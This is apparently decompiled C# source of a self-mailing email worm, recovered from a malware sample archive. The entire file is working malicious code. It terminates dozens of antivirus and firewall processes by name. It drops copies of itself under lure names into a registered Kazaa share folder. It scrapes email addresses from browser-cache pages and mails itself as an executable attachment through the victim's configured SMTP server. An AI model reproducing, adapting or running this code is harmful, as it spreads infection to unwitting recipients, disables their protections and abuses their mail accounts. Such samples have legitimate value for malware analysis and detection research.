// Decompiled with JetBrains decompiler
// Type: alcopaul.brigadaochodotnet
// Assembly: 2peace, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 78079FF0-2005-4E93-BF26-3EA1164CB45F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Email-Worm.Win32.Alcaul.af-f023c356e68bba6651e4525fa000df7e890871cf4ef714e11171e439c3090105.exe

using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Net.Sockets;
using System.Reflection;
using System.Text;
using System.Windows.Forms;

namespace alcopaul
{
  public class brigadaochodotnet
  {
    public static void Main(string[] args)
    {
      string str1 = "zonealarm,wfindv32,vb6,webscanx,vsstat,vshwin32,vsecomr,vscan40,vettray,vet95,tds2-nt,tds2-98,tca,tbscan,sweep95,sphinx,smc,serv95,scrscan,scanpm,scan95,scan32,safeweb,rescue,rav7win,rav7,persfw,pcfwallicon,pccwin98,pavw,pavsched,pavcl,padmin,outpost,nvc95,nupgrade,normist,nmain,nisum,navwnt,navw32,navnt,navlu32,navapw32,n32scanw,mpftray,moolive,luall,lookout,lockdown2000,jedi,iomon98,iface,icsuppnt,icsupp95,icmon,icloadnt,icload95,ibmavsp,ibmasn,iamserv,iamapp,frw,fprot,fp-win,findviru,f-stopw,f-prot95,f-prot,f-agnt95,espwatch,esafe,ecengine";
      string str2 = "dvp95_0,dvp95,cleaner3,cleaner,claw95cf,claw95,cfinet32,cfinet,cfiaudit,cfiadmin,blackice,blackd,avwupd32,avwin95,avsched32,avpupd,avptc32,avpm,avpdos32,avpcc,avp32,avp,avnt,avkserv,avgctrl,ave32,avconsol,autodown,apvxdwin,anti-trojan,ackwin32,_avpm,_avpcc,_avp32";
      string[] strArray1 = str1.Split(',');
      string[] strArray2 = str2.Split(',');
      foreach (string ave in strArray1)
        brigadaochodotnet.killprocs(ave);
      foreach (string ave in strArray2)
        brigadaochodotnet.killprocs(ave);
      Module module = Assembly.GetExecutingAssembly().GetModules()[0];
      string tach = brigadaochodotnet.uue(module.FullyQualifiedName);
      Registry.CurrentUser.OpenSubKey("Software\\Kazaa\\LocalContent", true).SetValue("Dir0", (object) ("012345:" + Directory.GetCurrentDirectory()));
      string[] strArray3 = new string[11]
      {
        "shakira.exe",
        "avril_lavigne.exe",
        "Visual_Studio.NET2003_key.exe",
        "teach_yourself_c#_in_1_week.exe",
        "scan.net.exe",
        "hitman2fulldownloader.exe",
        "Tekken4_full_downloader.exe",
        "teach_yourself_COBOL.NET_in_21_days.exe",
        "how_to_get_chicks_on_your_bed.exe",
        "brigadaocho.net.exe",
        "drunken_pope_pics.exe"
      };
      foreach (string destFileName in strArray3)
      {
        try
        {
          File.Copy(module.FullyQualifiedName, destFileName);
        }
        catch
        {
        }
      }
      RegistryKey registryKey1 = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Internet Account Manager", true);
      RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Internet Account Manager\\Accounts\\" + registryKey1.GetValue("Default Mail Account").ToString(), true);
      string mserv = registryKey2.GetValue("SMTP Server").ToString();
      string fm = registryKey2.GetValue("SMTP Email Address").ToString();
      foreach (string directory1 in Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.InternetCache)))
      {
        foreach (string directory2 in Directory.GetDirectories(directory1))
        {
          foreach (string file in Directory.GetFiles(directory2, "*.ht*"))
            brigadaochodotnet.extractmails(file, mserv, fm, tach);
        }
      }
      int num = (int) MessageBox.Show("brigada ocho ::: \"bringing the c# technology to the masses\"", "msil.mass by PerrunBoy ::: http://vx.netlux.org/~b8", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
    }

    public static void extractmails(string phile, string mserv, string fm, string tach)
    {
      StreamReader streamReader = new StreamReader((Stream) new FileStream(phile, FileMode.OpenOrCreate, FileAccess.Read));
      streamReader.BaseStream.Seek(0L, SeekOrigin.Begin);
      while (streamReader.Peek() > -1)
      {
        string to = brigadaochodotnet.xtrak(streamReader.ReadLine());
        if (to != "")
          brigadaochodotnet.castaway(mserv, fm, to, tach);
      }
      streamReader.Close();
    }

    public static string xtrak(string datum)
    {
      char[] anyOf = new char[6]
      {
        '?',
        '\'',
        '"',
        '>',
        '<',
        ' '
      };
      string str1 = datum;
      try
      {
        int sourceIndex = str1.IndexOf("mailto:");
        int num = str1.LastIndexOfAny(anyOf);
        char[] destination1 = new char[(int) checked ((uint) unchecked (num - sourceIndex))];
        str1.CopyTo(sourceIndex, destination1, 0, num - sourceIndex);
        string str2 = new string(destination1).Replace("mailto:", "").Replace("%20", "").Replace("%40", "@");
        try
        {
          int count = str2.IndexOfAny(anyOf);
          char[] destination2 = new char[(int) checked ((uint) count)];
          str2.CopyTo(0, destination2, 0, count);
          return new string(destination2);
        }
        catch
        {
          return str2;
        }
      }
      catch
      {
        return "";
      }
    }

    public static string uue(string attch)
    {
      FileStream input = new FileStream(attch, FileMode.OpenOrCreate, FileAccess.Read);
      BinaryReader binaryReader = new BinaryReader((Stream) input);
      binaryReader.BaseStream.Seek(0L, SeekOrigin.Begin);
      byte[] numArray = new byte[(int) checked ((uint) input.Length)];
      int length1 = (int) input.Length;
      int index1 = 0;
      int num;
      for (; length1 > 0; length1 -= num)
      {
        num = binaryReader.Read(numArray, index1, length1);
        if (num != 0)
          index1 += num;
        else
          break;
      }
      binaryReader.Close();
      StringBuilder stringBuilder = new StringBuilder();
      string base64String = Convert.ToBase64String(numArray);
      int length2 = base64String.Length;
      char[] destination = new char[(int) checked ((uint) length2)];
      base64String.CopyTo(0, destination, 0, length2);
      for (int index2 = 1; index2 <= length2; ++index2)
      {
        if (index2 % 76 == 0)
          stringBuilder.Append(string.Format("{0}\r\n", (object) destination[index2 - 1]));
        else
          stringBuilder.Append(string.Format("{0}", (object) destination[index2 - 1]));
      }
      return stringBuilder.ToString();
    }

    public static void killprocs(string ave)
    {
      foreach (Process process in Process.GetProcessesByName(ave))
        process.Kill();
    }

    public static void castaway(string serv, string from, string to, string attch)
    {
      string str1 = "From: " + from + " <" + from + ">\r\n";
      string str2 = "To: " + to + " <" + to + ">\r\n";
      string str3 = "Date: " + DateTime.Now.ToString() + "\r\n";
      string str4 = "X-Mailer: dotNETSMTPengine\r\n";
      string str5 = "X-Priority: 3\r\n";
      string str6 = "MIME-Version: 1.0\r\n";
      string str7 = "Content-Type: multipart/mixed; boundary=\"----=rerty\";\r\n\r\n";
      string str8 = "This is a multi-part message in MIME format.\r\n\r\n";
      string str9 = "------=rerty\r\n";
      string str10 = "Content-Type: text/html; charset=us-ascii\r\n\r\n";
      string str11 = "\"all we are saying, is give peace a chance. no to war and terrorism.\"\r\n\r\n";
      string str12 = "------=rerty\r\n";
      string str13 = "Content-Type: application/x-msdownload; name=\"topeace.exe\"\r\n";
      string str14 = "Content-Transfer-Encoding: base64\r\n";
      string str15 = "Content-Disposition: attachment; ";
      string str16 = "filename=\"topeace.exe\"\r\n\r\n";
      string str17 = "\r\n\r\n";
      string str18 = "------=rerty--\r\n\r\n.\r\n";
      TcpClient tcpClient = new TcpClient(serv, 25);
      NetworkStream stream = tcpClient.GetStream();
      StreamReader streamReader = new StreamReader((Stream) tcpClient.GetStream());
      string str19 = streamReader.ReadLine();
      byte[] bytes1 = Encoding.ASCII.GetBytes("HELO localhost\r\n");
      stream.Write(bytes1, 0, bytes1.Length);
      str19 = streamReader.ReadLine();
      byte[] bytes2 = Encoding.ASCII.GetBytes("MAIL FROM: <" + from + ">\r\n");
      stream.Write(bytes2, 0, bytes2.Length);
      str19 = streamReader.ReadLine();
      byte[] bytes3 = Encoding.ASCII.GetBytes("RCPT TO: <" + to + ">\r\n");
      stream.Write(bytes3, 0, bytes3.Length);
      str19 = streamReader.ReadLine();
      byte[] bytes4 = Encoding.ASCII.GetBytes("DATA\r\n");
      stream.Write(bytes4, 0, bytes4.Length);
      str19 = streamReader.ReadLine();
      byte[] bytes5 = Encoding.ASCII.GetBytes(str1 + str2 + str3 + str4 + str5);
      stream.Write(bytes5, 0, bytes5.Length);
      byte[] bytes6 = Encoding.ASCII.GetBytes(str6 + str7 + str8 + str9 + str10 + str11);
      stream.Write(bytes6, 0, bytes6.Length);
      byte[] bytes7 = Encoding.ASCII.GetBytes(str12 + str13 + str14 + str15 + str16 + attch + str17 + str18);
      stream.Write(bytes7, 0, bytes7.Length);
      str19 = streamReader.ReadLine();
      byte[] bytes8 = Encoding.ASCII.GetBytes("QUIT\r\n");
      stream.Write(bytes8, 0, bytes8.Length);
      str19 = streamReader.ReadLine();
      stream.Close();
      streamReader.Close();
      tcpClient.Close();
    }
  }
}
